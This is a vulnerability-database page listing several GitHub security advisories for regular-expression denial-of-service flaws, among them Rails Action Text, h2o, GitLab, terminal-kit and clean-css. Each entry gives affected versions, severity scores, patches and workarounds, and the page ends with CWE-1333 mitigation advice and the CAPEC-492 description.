  "details": "### Impact\nUnsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).\n\n### Patches\nPatched in 3.1.4\n\n### Workarounds\nAvoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.",
  "id": "GHSA-wqxw-8h5g-hq56",
  "modified": "2023-02-15T17:35:36Z",
  "published": "2023-02-02T01:33:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/security/advisories/GHSA-wqxw-8h5g-hq56"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/commit/374752563d6ce9353ee592b40c809c8136f24930"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/switcherapi/switcher-client-master"
    },
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/releases/tag/v3.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Switcher Client contains Regular Expression Denial of Service (ReDoS)"
}

GHSA-WRXC-QW43-C96X

Vulnerability from github – Published: 2025-03-31 15:30 – Updated: 2025-03-31 15:30
VLAI
Details

Running DDoS on tcp port 22 will trigger a kernel crash. This issue is introduced by the backport of a commit regarding nft_lookup without the subsequent fixes that were introduced after this commit. The resolution of this CVE introduces those commits to the linux-bluefield package.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-0881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T14:15:18Z",
    "severity": "HIGH"
  },
  "details": "Running DDoS on tcp port 22 will trigger a kernel crash. This issue is introduced by the backport of a commit regarding nft_lookup without the subsequent fixes that were introduced after this commit. The resolution of this CVE introduces those commits to the linux-bluefield package.",
  "id": "GHSA-wrxc-qw43-c96x",
  "modified": "2025-03-31T15:30:48Z",
  "published": "2025-03-31T15:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0881"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ubuntu/+source/linux-bluefield/+bug/2006397"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WWHV-WXV9-RPGW

Vulnerability from github – Published: 2024-10-15 23:35 – Updated: 2024-12-02 19:53
VLAI
Summary
Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text
Details

There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.

Impact

Carefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling plain_text_for_blockquote_node or upgrade to Ruby 3.2

Credits

Thanks to ooooooo_q for the report!

Severity
6.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "actiontext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.1.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "actiontext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "actiontext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "actiontext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.0"
            },
            {
              "fixed": "7.2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-15T23:35:36Z",
    "nvd_published_at": "2024-10-16T21:15:13Z",
    "severity": "MODERATE"
  },
  "details": "There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.\n\nImpact\n------\n\nCarefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.\n\nRuby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.\n\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nUsers can avoid calling `plain_text_for_blockquote_node` or upgrade to Ruby 3.2\n\nCredits\n-------\n\nThanks to [ooooooo_q](https://hackerone.com/ooooooo_q) for the report!",
  "id": "GHSA-wwhv-wxv9-rpgw",
  "modified": "2024-12-02T19:53:42Z",
  "published": "2024-10-15T23:35:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/security/advisories/GHSA-wwhv-wxv9-rpgw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rails/rails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actiontext/CVE-2024-47888.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text"
}

GHSA-WWR9-4GMR-XVQ9

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 19:44
VLAI
Summary
H2O Vulnerable to Denial of Service (DoS) via `/3/Parse` Endpoint
Details

A vulnerability in the /3/Parse endpoint of h2oai/h2o-3 version 3.46.0.1 allows for a denial of service (DoS) attack. The endpoint uses a user-specified string to construct a regular expression, which is then applied to another user-specified string. By sending multiple simultaneous requests, an attacker can exhaust all available threads, leading to a complete denial of service.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "h2o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.30.0.7"
            },
            {
              "last_affected": "3.46.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ai.h2o:h2o-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.30.0.7"
            },
            {
              "last_affected": "3.46.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-10549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T19:44:43Z",
    "nvd_published_at": "2025-03-20T10:15:17Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the `/3/Parse` endpoint of h2oai/h2o-3 version 3.46.0.1 allows for a denial of service (DoS) attack. The endpoint uses a user-specified string to construct a regular expression, which is then applied to another user-specified string. By sending multiple simultaneous requests, an attacker can exhaust all available threads, leading to a complete denial of service.",
  "id": "GHSA-wwr9-4gmr-xvq9",
  "modified": "2025-03-20T19:44:43Z",
  "published": "2025-03-20T12:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10549"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h2oai/h2o-3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2oai/h2o-3/blob/51c25940ded8b7d0acc8f3f72329fd9dedbb3a34/h2o-core/src/main/java/water/api/ParseHandler.java#L80"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ce7bd2d6-fd38-440d-a91a-dd8f3fc06bc2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "H2O Vulnerable to Denial of Service (DoS) via `/3/Parse` Endpoint"
}

GHSA-WX3G-P9W5-PP6M

Vulnerability from github – Published: 2024-06-13 00:31 – Updated: 2024-06-13 00:31
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 8.4 prior to 16.10.7, starting from 16.11 prior to 16.11.4, and starting from 17.0 prior to 17.0.2. A vulnerability in GitLab's Asana integration allowed an attacker to potentially cause a regular expression denial of service by sending specially crafted requests.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-12T23:15:49Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 8.4 prior to 16.10.7, starting from 16.11 prior to 16.11.4, and starting from 17.0 prior to 17.0.2. A vulnerability in GitLab\u0027s Asana integration allowed an attacker to potentially cause a regular expression denial of service by sending specially crafted requests.",
  "id": "GHSA-wx3g-p9w5-pp6m",
  "modified": "2024-06-13T00:31:23Z",
  "published": "2024-06-13T00:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1963"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2376482"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2024/06/12/patch-release-gitlab-17-0-2-released/#redos-in-asana-integration-issue-mapping-when-webhook-is-called"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/443577"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WXGH-8GMR-3QH3

Vulnerability from github – Published: 2023-01-07 18:30 – Updated: 2023-01-12 23:43
VLAI
Summary
terminal-kit Inefficient Regular Expression Complexity vulnerability
Details

A vulnerability classified as problematic has been found in cronvel terminal-kit up to 2.1.7. Affected is an unknown function. The manipulation leads to inefficient regular expression complexity. Upgrading to version 2.1.8 can address this issue. The name of the patch is a2e446cc3927b559d0281683feb9b821e83b758c. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-217620.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "terminal-kit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-4306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-12T23:43:03Z",
    "nvd_published_at": "2023-01-07T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability classified as problematic has been found in cronvel terminal-kit up to 2.1.7. Affected is an unknown function. The manipulation leads to inefficient regular expression complexity. Upgrading to version 2.1.8 can address this issue. The name of the patch is a2e446cc3927b559d0281683feb9b821e83b758c. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-217620.",
  "id": "GHSA-wxgh-8gmr-3qh3",
  "modified": "2023-01-12T23:43:03Z",
  "published": "2023-01-07T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cronvel/terminal-kit/commit/a2e446cc3927b559d0281683feb9b821e83b758c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cronvel/terminal-kit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cronvel/terminal-kit/releases/tag/v2.1.8"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.217620"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.217620"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "terminal-kit Inefficient Regular Expression Complexity vulnerability"
}

GHSA-WXHQ-PM8V-CW75

Vulnerability from github – Published: 2019-06-05 20:50 – Updated: 2020-08-31 18:35
VLAI
Summary
Regular Expression Denial of Service in clean-css
Details

Version of clean-css prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.

Recommendation

Upgrade to version 4.1.11 or higher.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "clean-css"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-05T20:49:47Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "Version of `clean-css` prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.1.11 or higher.",
  "id": "GHSA-wxhq-pm8v-cw75",
  "modified": "2020-08-31T18:35:40Z",
  "published": "2019-06-05T20:50:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jakubpawlowicz/clean-css/commit/2929bafbf8cdf7dccb24e0949c70833764fa87e3"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/785"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Regular Expression Denial of Service in clean-css"
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list